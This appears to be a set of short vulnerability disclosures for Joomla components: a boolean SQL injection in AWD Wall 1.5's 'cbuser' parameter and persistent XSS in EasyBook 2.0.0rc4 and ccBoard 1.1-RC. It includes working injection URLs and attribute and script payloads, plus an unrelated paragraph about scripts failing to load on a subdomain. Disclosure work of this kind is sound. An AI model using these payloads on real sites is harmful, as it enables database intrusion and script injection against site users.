The Joomla component AWD Wall 1.5 suffers from an SQL Injection vulnerability in its handling of the 'cbuser' parameter.

?option=com_awdwall&view=awdwall&cbuser=62 and 1=1 limit 1 -- '
?option=com_awdwall&view=awdwall&cbuser=62 and 1=2 limit 1 -- '

While working on a Joomla! site lately, I had an interesting issue arise. None of my scripts or CSS styles would load on a Joomla site installed on a subdomain. Luckily I was able to solve this quickly.

The Joomla component EasyBook 2.0.0rc4 suffers from multiple persistent XSS vulnerabilities. One seems fairly critical, while the others would take some incredible creativity to actively exploit.

1. BBCode XSS

   Settings:

   • Allow BBCode - on (default)
   • Allow Pictures - on (not default)

   [img]fake.png" onerror="alert(String.fromCharCode(88,83,83))[/img]

2. Website URL XSS

   Settings:

   • Show web site field: Show (default)

   foo.com" onmouseover="alert(String.fromCharCode(88,83,83));return false;

   Requires minimal user interaction

3. Skype/Yahoo Username XSS

   Very narrow scope, as entries are truncated. XSS still technically possible. Requires user interaction.

   ' onclick="alert('XSS')"

4. AIM/MSN Username XSS

   Again, narrow scope. See 3.

   " onclick="alert('xss')"

   ICQ username is similar, but scope seems too narrow to exploit.

The Joomla component ccBoard 1.1-RC suffers from a Cross Site Scripting vulnerability if certain conditions are met. The forum must be set up to use the internal HTML editor and not bbCode. This is the default setting upon install.

To execute, simply post a new message. Either toggle the editor to 'off' or use the HTML Source editing button, insert your JavaScript, and submit!

<script>alert('xss');</script>

The editor was even nice enough to make my XSS injection pretty upon saving:

<script type="text/javascript">// <![CDATA[
alert('xss');
// ]]></script>
